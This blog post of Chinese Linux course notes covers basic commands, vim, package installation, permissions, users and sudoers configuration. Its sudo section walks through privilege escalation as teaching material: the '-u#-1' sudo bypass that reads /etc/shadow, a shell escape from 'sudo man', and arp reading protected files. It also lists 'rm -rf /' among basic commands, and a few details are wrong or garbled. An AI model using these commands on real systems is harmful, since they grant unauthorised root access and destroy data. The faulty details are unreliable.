Linux從入門到精通(四)

2021-10-01 02:28:43 字數 3782 閱讀 3773

上午 梳理基本命令

筆試day01 增刪改查命令

cat -n 檔案

ls -a 所有 -l 長格式 -h 人類可讀 -r 遞迴 目錄

-d 只看目錄的許可權 /tmp directory

ls -l /

ls -l /tmp

touch 建立空檔案 更新檔案時間標記

mkdir 建立目錄

gedit 不用

echo "nihao" >> /tmp/123.txt

mv move 剪下 重新命名

cp 拷貝 -r 遞迴 拷貝目錄

rm -rf / &> /dev/null

day02

/ /bin /sbin /dev /etc /home /root /mnt /var /usr /boot /proc

黑 綠 紅 紫 藍 淺藍

統計more less tail grep awk sort uniq du wc

tail -f 檔案 跟蹤檔案的變化

grep 過濾關鍵字所在行

awk '' 過濾字段

| 前面命令的輸出作為後面命令的處理內容

sort 排序

uniq 合併 -c 統計合併次數

du 統計目錄占用磁碟空間大小 -sh

wc 統計檔案行數字數 位元組數

gzip gunzip

bzip2 bunzip2

/tmp/1903的目錄 請用gzip的壓縮方式將其進行打包壓縮

cd /tmp

tar -zcf /tmp/1903.tar.gz 1903

tar -xf /tmp/1903.tar.gz -c /root/desktop

vim命令 模式 輸入模式 末行模式

命令模式:dd yy p i 50g g

末行模式

:wq:q!

:% s/old/new/g

:set nu

:40,45 d

:30,40 y

day03 軟體安裝

軟體分類: 原始碼 封裝後的軟體包

1、檔案型別tar.gz 壓縮包

2、readme install 安裝

3、 ./configure --prefix=/usr/local/webserver

指定軟體安裝路徑 指定安裝功能 生成makefile檔案

4、make 根據makefile檔案進行編譯

5、make install 將編譯後的檔案拷貝到指定路徑

.rpm 紅帽的包管理器

.deb debian軟體包

rpm -qa -qpi --scripts -qpl -ivh -e

yum源的位置以及配置過程

/etc/yum.repos.d/1903.repo

[1903]

name=123456

baseurl=file:/misc/cd

gpgcheck=0

yum install 軟體

yum remove 軟體

-rw-r--r-- 1

drwxr-xr-x 2 tom root 4096 ort 10 19:30 1903dir

l b c

chmod 644

chmod 755

chown 修檔案所屬者

chgrp 修改檔案的所屬組

useradd -u -g -g -s usermod userdel -r

groupadd -g 指定gid groupmod groupdel gpasswd -r tom 1903

passwd -u -l -s --stdin

vim /etc/passwd

vim /etc/shedow

root:x:0:0:root:/root:/bin/bash

使用者名稱uid

使用者家目錄

命令直譯器

root:$6$sjdfal$alkdsfjaldskfj:18783:0:99999:7: :18794:

加密後的密碼 sha-512 混和 salt值加密

距離2023年1月1日密碼最近一次的修改時間

密碼最長有效期 90 90天必須改密碼

chage -m 90 指定使用者密碼的最長有效期90天

-e 2019-10-30 賬戶的失效時間

-d 0 使用者登入系統必須重新修改密碼

suid chmod u+s

/usr/bin/vim -rwsr-xr-x root root

sudo ls

sudo vi /etc/passwd

使用者為普通使用者 提公升使用命令的 許可權 (root使用者)

sudo 可以為指定使用者 提公升命令許可權

用法 普通使用者

sudo 命令字

sudo -l 列出普通使用者可以使用的sudo命令字

visudo 命令 root使用者用來編輯sudoers檔案的命令

該檔案中注釋 有

## 文字說明

# 應用例項

主機別名 host_alias hosts = 主機名稱1,主機名稱2

使用者別名 user_alias users = zhaokk,dc

命令別名 cmnd_alias guanji = /sbin/init,/sbin/poweroff

別名一定要用大寫

users all=(all) guanji

使用者別名 主機別名所有主機=(使用者別名 使用所有使用者的身份包含root) 命令別名

dc all=(root) /sbin/init 不使用別名賦權

su - dc

$sudo -u root init 6 第一次預設要求輸入自己的密碼確認身份

指定使用哪個使用者的身份執行 init 6命令

練習內容: 建立乙個自己的同名使用者,要求該使用者可以執行root的/sbin/reboot 嘗試使用該使用者並通過sudo執行該命令檢視結果。

user_alias class = wencoll

cmnd_alias chong = /sbin/reboot

class all=(root) chong

如果乙個使用者授權使用命令的時候 不允許以root使用者身份執行應該如何設定?以及當前情況如何通過漏洞提權

visudo

wencoll all=(all,!root) nopasswd:all

為wencoll使用者 指定使用命令不可以以root使用者身份執行

su - wencoll

sudo -u dc id 檢視id命令是以誰的身份執行

sudo -u root id 輸入密碼後顯示不允許以root使用者身份

sudo -u#-1 id 因為使用了非法的uid符號-1 系統誤認為該使用者uid為0 root的id資訊

sudo -u#-1 cat /etc/shadow

為wencoll使用者設定man命令為以root使用者身份執行

wencoll all=(root) nopasswd:/usr/bin/man

sudo man /etc/shadow 可以以root使用者身份檢視檔案

!/bin/bash 以root使用者身份開了乙個命令直譯器(提權成了root)

man man

學習以下命令的suid和sudo的提權方法。

arp新建乙個檔案 ip(mac位址) +ip位址

arp -v -f /tmp/test.txt 可以檢視到密匙

awkawk 『 // ' /etc/passwd 通過awk的過濾功能 查密碼

catchmod

chown

cpdd

mysql從入門到精通《四》

三 mysql高階 接上篇 1 檢視 檢視就是一條select語句執行後返回的結果集,所以我們在建立檢視的時候,主要的工作就落在建立這條sql語句上。檢視是對若干張基本表的引用,一張虛表,查詢語句執行的結果,不儲存具體的資料 基本表資料發生變化以後,檢視也會跟著改變 定義檢視 建議以v 開頭 cre...

Matlab從入門到精通(四)

student.test 99 56 96 87 67 69 87 76 92 student.name wu qing student.weight 68 student.height 1.72 student.num 2003214091 student.add school of civil ...

MySQL從入門到精通(四)

實際應用中,我們會主動打破第三正規化,提公升查詢效率 物理設計 設計資料庫的物理結構,根據資料庫的邏輯結構來選定rdbms 比如 oracle,mysql等 並設計和試試資料庫的儲存結果,訪問方式 將資料庫結構和資料落庫 禁止對線上資料庫進行壓測 禁止從開發環境連線測試或生產資料庫 組合索引的字段匹...